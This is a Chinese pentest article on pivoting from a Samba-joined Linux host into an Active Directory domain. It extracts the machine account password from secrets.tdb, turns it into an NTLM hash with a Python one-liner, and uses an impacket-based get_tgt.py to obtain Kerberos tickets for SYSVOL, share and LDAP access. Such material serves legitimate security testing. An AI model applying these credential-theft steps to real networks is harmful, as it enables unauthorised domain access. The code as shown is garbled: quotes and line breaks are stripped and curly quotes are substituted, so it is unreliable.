當前位置:
首頁 > 新聞 > 滲透測試時,如何從Linux拓展到AD域?

滲透測試時,如何從Linux拓展到AD域?

適用於SAMBA3的方法

通過閱讀SAMBA文檔可以了解到通過閱讀secrets.tdb資料庫就可以得到機器賬戶的明文密碼。

現在,我們使用的是舊版本的linux環境,並且已經加入到了域中,主機名為:ubuntu3.如圖:

觀察上圖可以看到secrets.tdb資料庫中有以下的內容:

1. SECRETS/SALTING_PRINCIPAL/DES/LAB.BRANSH.COM: 這一數據將主機名,域名展示給了我們。將以$符號結束的用戶名記錄下來,在這一環境中,用戶名為ubuntu3$.

2. SECRETS/MACHINE_PASSWORD/LAB:這一數據就展示了機器賬戶(ubuntu3$)的明文密碼,長度為14個位元組(加上終止符0),這一環境中,密碼為:"UeHjnbam_zdtr#"

接下來使用我們得到的賬戶密碼得到一個Kerberos TGT,然後查詢LDAP資料庫:

上圖中,可以觀察到:

1. 用戶ubuntu13執行kinit命令從KDC中獲得了TGT。

2. 通過klist命令列出了tickets

3. 通過ldapsearch使用Kerberos認證方法進行LDAP查詢。

繼續使用機器用戶進入到域中默認的SYSVOL共享文件夾:

上圖中得到的信息:

1. ubuntu13通過kinit命令得到一個TGT。

2. 通過klist獲取tickets。

3. 通過smbclient使用Kerberos就可以進入默認域中的SYSVOL文件夾。

使用此帳號獲得網路上無限制的共享:

這張圖你會發現:

1. 通過smbclient使用機器賬戶獲得的Kerberos票據就可以訪問到域成員共享的內容。

2. 通過klist命令獲得域中的tickets。

適用於SAMBA4的方法

在SAMBA4中,滲透過程會有一些不同。在一個新的Samba伺服器中,當我們查看secrets.tdb資料庫時,我們會得到一大串hex數值,並且他們不是ascii碼:

為了了解到這一數值在secrets.tdb中是怎麼生成的,我們需要去閱讀Samba4的源代碼。由於Samba代碼非常長,我們需要找到開始的地方。

可能你以前知道,」net ads changetrustpw」命令可以修改機器賬戶的密碼:

我們可以通過查找與」net ads」(net_ads.c)命令相關聯的文件,或者使用grep進而查找源文件中是否包含」Changeing password for printcipal」。無論哪一種方式,我們最後得到如下代碼:

下圖展示了net_ads_changetrustpw函數的源碼:

在2378行,ads_change_trust_account_password這一函數被調用,其中包括兩個參數:ads,host_printcipal。

下圖,展示了位於util.c中的ads_change_trust_account_password函數:

38行調用了trust_pw_new_value這一方法,其中包括三個參數,其中特別需要注意的是SEC_ADS這個參數。下面開始查找這一函數吧。

下圖就是trust_pw_new_value函數,他會調用generate_random_machine_password,並且參數最小值為128,最大值為255。

注釋中可以看到它是將特定緩衝區轉換為utf-8。

所以,在繼續查看代碼之前,我們先將獲得的hex進行utf-8解碼。複製我們在secrets.tdb中獲得的代碼hex:

接下來,使用下方python代碼,進行生成NTLMhash:

# echo 「E79EB7…880」 | python -c 「import hashlib,binascii;print binascii.hexlify(hashlib.new(『md4』,binascii.unhexlify(raw_input().replace(『』, 『』).replace(『00』,』』)).decode(『utf-8』).encode(『utf-16le』)).digest())」

下圖,展示了我們為機器賬戶生成的NTLMhash值:

下圖展示了使用這一hash我們進入到了SYSVOL共享文件夾:

現在,我們使用NTLM hash值從TGT中獲得TGT,進而通過ldapsearch進行LDAP查詢:

上圖中,可以看到我們使用了一個python腳本來獲得TGT。get_tgt.py代碼的內容非常簡單,它完全基於impacket庫。剩餘的代碼與第一種情況的作用是一樣的。

get_tgt.py內容如下:

from impacket.krb5.ccache import CCachefrom impacket.krb5.kerberosv5 import getKerberosTGTfrom impacket.krb5 import constantsfrom impacket.krb5.types import Principalimport argparse, sysfrom binascii import unhexlifydef main(domain, username, password, ntlm, kdc): # First of all, we need to get a TGT for the user userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) nthash = unhexlify(ntlm) # getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost) print [*] Requesting a TGT from the KDC... tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, , nthash, , kdc) print [*] Generating a CCACHE... ccache = CCache() ccache.fromTGT(tgt, oldSessionKey, sessionKey) tgt_name = user + @ + domain + _TGT_.ccache print [*] Saving the CCACHE into the file %s... % (tgt_name) ccache.saveFile(tgt_name)if __name__ == __main__ : print nSimple br@nsh test for getting a TGTn parser = argparse.ArgumentParser(add_help = True, description = "Gets a TGT from the KDC") parser.add_argument( -user , action= store , default= , help="Domain User (sAMAccountName)") parser.add_argument( -password , action= store , default= , help= User s password ) parser.add_argument( -domain , action= store , default= , help= Domain name ) parser.add_argument( -ntlm , action="store", default= , metavar="NTHASH", help= NTLM hash ) parser.add_argument( -kdc , action= store , default= , help= Domain Controller ) # Parse the arguments options = parser.parse_args() domain = options.domain user = options.user password = options.password ntlm = options.ntlm kdc = options.kdc # If not enough information is provided if domain == or user == or kdc == : parser.print_help() sys.exit(1) # If the password was not provided, then ask for it if password == and user != and ntlm == : from getpass import getpass password = getpass("Password:") # If a hash is provided, then use it if ntlm != : password = None try: main(domain, user, password, ntlm, kdc) except Exception, e: import traceback print traceback.print_exc()

參考:

https://wiki.samba.org/index.php/Keytab_Extraction

https://blog.svedr.in/posts/passwordless-ldap-authentication.html

點擊展開全文

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

真相浮出:法國警方截獲6個涉及WannaCry案件的Tor中繼伺服器
看看一個內部員工是如何摧毀整個公司網路的?
工具推薦:22款最流行的計算機取證工具2017年更新版
真實版「張交通」復盤:我如何懟出泄漏個人信息的元兇

TAG:嘶吼RoarTalk |

您可能感興趣

Windows ADS在滲透測試中的妙用
滲透測試神器Burp Suite現已推出2.0測試版
Aqua推出開源Kubernetes滲透測試工具Kube-hunter
iOS滲透測試工具Part 1:App Decryption以及class-dump
Huntpad:為滲透測試人員設計的Notepad應用
BabySploit:一個針對初學者的滲透測試框架
Web Service和Web API滲透測試指南(一)
百年老牌要如何滲透潮流市場?| 專訪 New Balance CEO Robert T. DeMartini
Volume Shadow 服務在滲透測試中的幾種利用姿勢
Scrounger:iOS和Android移動應用程序滲透測試框架
域滲透——AS-REP Roasting
域滲透——Kerberoasting
Burp Suite二十節:使用Burp,Sqlmap進行自動化SQL注入滲透測試
CrackMapExec:一款針對大型Windows活動目錄(AD)的後滲透工具
靶機滲透測試實戰-hack the ch4inrulz
滲透技巧——獲取Windows系統下DPAPI中的MasterKey
滲透測試神器之PowerShell入門必備
用於黑客滲透測試的 21 個最佳 Kali Linux 工具
在Windows上隱藏自己的滲透測試工具
滲透測試中的 Go 語言使用:編寫反彈後門 Hershell